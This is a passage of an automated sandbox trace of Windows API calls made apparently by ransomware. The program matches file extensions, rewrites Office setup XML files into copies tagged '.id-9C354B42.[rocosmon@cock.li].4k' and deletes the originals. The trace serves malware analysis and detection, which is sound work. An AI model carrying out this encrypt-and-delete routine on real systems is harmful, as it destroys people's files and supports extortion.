	[0100.206] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.206] lstrlenW (lpString=".7z") returned 3
	[0100.206] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.206] lstrlenW (lpString=".dbf") returned 4
	[0100.206] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.206] lstrlenW (lpString=".1cd") returned 4
	[0100.206] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.206] lstrlenW (lpString=".jpg") returned 4
	[0100.206] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.206] lstrlenW (lpString=".doc") returned 4
	[0100.207] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.207] lstrlenW (lpString=".docx") returned 5
	[0100.207] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.207] lstrlenW (lpString=".pdf") returned 4
	[0100.207] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.207] lstrlenW (lpString=".xls") returned 4
	[0100.207] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.207] lstrlenW (lpString=".xlsx") returned 5
	[0100.207] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.207] lstrlenW (lpString=".ppt") returned 4
	[0100.207] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.207] lstrlenW (lpString=".zip") returned 4
	[0100.207] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.207] lstrlenW (lpString=".rar") returned 4
	[0100.207] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.207] lstrlenW (lpString=".bz2") returned 4
	[0100.207] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.207] lstrlenW (lpString=".7z") returned 3
	[0100.207] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.207] lstrlenW (lpString=".dbf") returned 4
	[0100.207] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.207] lstrlenW (lpString=".1cd") returned 4
	[0100.207] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.207] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104
	[0100.207] lstrlenW (lpString=".jpg") returned 4
	[0100.207] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.350] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.351] lstrlenW (lpString="Office32WW.XML") returned 14
	[0100.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0100.351] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4274) returned 1
	[0100.351] CloseHandle (hObject=0x1dc) returned 1
	[0100.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20
	[0100.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.351] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0100.351] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.351] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.352] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0100.352] GetLastError () returned 0x0
	[0100.352] ReadFile (in: hFile=0x1dc, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x10b2, lpOverlapped=0x0) returned 1
	[0100.369] WriteFile (in: hFile=0x1f4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x10c0, lpOverlapped=0x0) returned 1
	[0100.370] ReadFile (in: hFile=0x1dc, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.370] WriteFile (in: hFile=0x1f4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0100.370] SetEndOfFile (hFile=0x1f4) returned 1
	[0100.370] CloseHandle (hObject=0x1f4) returned 1
	[0100.370] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.370] SetEndOfFile (hFile=0x1dc) returned 1
	[0100.371] CloseHandle (hObject=0x1dc) returned 1
	[0100.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.372] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1
	[0100.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.372] lstrlenW (lpString=".doc") returned 4
	[0100.372] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.372] lstrlenW (lpString=".docx") returned 5
	[0100.372] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0100.372] lstrlenW (lpString=".pdf") returned 4
	[0100.372] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.372] lstrlenW (lpString=".xls") returned 4
	[0100.372] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.372] lstrlenW (lpString=".xlsx") returned 5
	[0100.372] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0100.372] lstrlenW (lpString=".ppt") returned 4
	[0100.372] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.372] lstrlenW (lpString=".zip") returned 4
	[0100.372] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.373] lstrlenW (lpString=".rar") returned 4
	[0100.373] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.373] lstrlenW (lpString=".bz2") returned 4
	[0100.373] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.373] lstrlenW (lpString=".7z") returned 3
	[0100.373] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.373] lstrlenW (lpString=".dbf") returned 4
	[0100.373] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.373] lstrlenW (lpString=".1cd") returned 4
	[0100.373] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.373] lstrlenW (lpString=".jpg") returned 4
	[0100.373] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.373] lstrlenW (lpString=".doc") returned 4
	[0100.373] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.373] lstrlenW (lpString=".docx") returned 5
	[0100.373] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1
	[0100.373] lstrlenW (lpString=".pdf") returned 4
	[0100.373] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.373] lstrlenW (lpString=".xls") returned 4
	[0100.373] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.373] lstrlenW (lpString=".xlsx") returned 5
	[0100.373] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1
	[0100.373] lstrlenW (lpString=".ppt") returned 4
	[0100.374] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.374] lstrlenW (lpString=".zip") returned 4
	[0100.374] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.374] lstrlenW (lpString=".rar") returned 4
	[0100.374] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.374] lstrlenW (lpString=".bz2") returned 4
	[0100.374] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.374] lstrlenW (lpString=".7z") returned 3
	[0100.374] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.374] lstrlenW (lpString=".dbf") returned 4
	[0100.374] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.374] lstrlenW (lpString=".1cd") returned 4
	[0100.374] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106
	[0100.374] lstrlenW (lpString=".jpg") returned 4
	[0100.374] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.375] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.375] lstrlenW (lpString="OneNoteMUI.XML") returned 14
	[0100.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0100.375] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1606) returned 1
	[0100.375] CloseHandle (hObject=0x1dc) returned 1
	[0100.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20
	[0100.375] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0100.375] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.376] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0100.380] GetLastError () returned 0x0
	[0100.380] ReadFile (in: hFile=0x1dc, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x646, lpOverlapped=0x0) returned 1
	[0100.403] WriteFile (in: hFile=0x1f4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x650, lpOverlapped=0x0) returned 1
	[0100.404] ReadFile (in: hFile=0x1dc, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.404] WriteFile (in: hFile=0x1f4, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0100.404] SetEndOfFile (hFile=0x1f4) returned 1
	[0100.404] CloseHandle (hObject=0x1f4) returned 1
	[0100.405] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.405] SetEndOfFile (hFile=0x1dc) returned 1
	[0100.406] CloseHandle (hObject=0x1dc) returned 1
	[0100.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.406] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 1
	[0100.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.406] lstrlenW (lpString=".doc") returned 4
	[0100.406] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.406] lstrlenW (lpString=".docx") returned 5
	[0100.406] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.406] lstrlenW (lpString=".pdf") returned 4
	[0100.407] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.407] lstrlenW (lpString=".xls") returned 4
	[0100.407] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.407] lstrlenW (lpString=".xlsx") returned 5
	[0100.407] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.407] lstrlenW (lpString=".ppt") returned 4
	[0100.407] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.407] lstrlenW (lpString=".zip") returned 4
	[0100.407] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.407] lstrlenW (lpString=".rar") returned 4
	[0100.407] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.407] lstrlenW (lpString=".bz2") returned 4
	[0100.407] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.407] lstrlenW (lpString=".7z") returned 3
	[0100.407] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.407] lstrlenW (lpString=".dbf") returned 4
	[0100.407] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.407] lstrlenW (lpString=".1cd") returned 4
	[0100.407] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.407] lstrlenW (lpString=".jpg") returned 4
	[0100.407] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.407] lstrlenW (lpString=".doc") returned 4
	[0100.408] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.408] lstrlenW (lpString=".docx") returned 5
	[0100.408] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.408] lstrlenW (lpString=".pdf") returned 4
	[0100.408] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.408] lstrlenW (lpString=".xls") returned 4
	[0100.408] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.408] lstrlenW (lpString=".xlsx") returned 5
	[0100.408] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.408] lstrlenW (lpString=".ppt") returned 4
	[0100.408] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.408] lstrlenW (lpString=".zip") returned 4
	[0100.408] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.408] lstrlenW (lpString=".rar") returned 4
	[0100.408] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.408] lstrlenW (lpString=".bz2") returned 4
	[0100.408] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.408] lstrlenW (lpString=".7z") returned 3
	[0100.408] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.408] lstrlenW (lpString=".dbf") returned 4
	[0100.408] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.408] lstrlenW (lpString=".1cd") returned 4
	[0100.408] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML") returned 108
	[0100.408] lstrlenW (lpString=".jpg") returned 4
	[0100.408] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.409] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.409] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0100.415] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1988) returned 1
	[0100.415] CloseHandle (hObject=0x1f4) returned 1
	[0100.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20
	[0100.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0100.415] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.416] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0100.416] GetLastError () returned 0x0
	[0100.416] ReadFile (in: hFile=0x1f4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x7c4, lpOverlapped=0x0) returned 1
	[0100.448] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x7d0, lpOverlapped=0x0) returned 1
	[0100.449] ReadFile (in: hFile=0x1f4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.449] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.449] SetEndOfFile (hFile=0x1e0) returned 1
	[0100.450] CloseHandle (hObject=0x1e0) returned 1
	[0100.450] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.450] SetEndOfFile (hFile=0x1f4) returned 1
	[0100.451] CloseHandle (hObject=0x1f4) returned 1
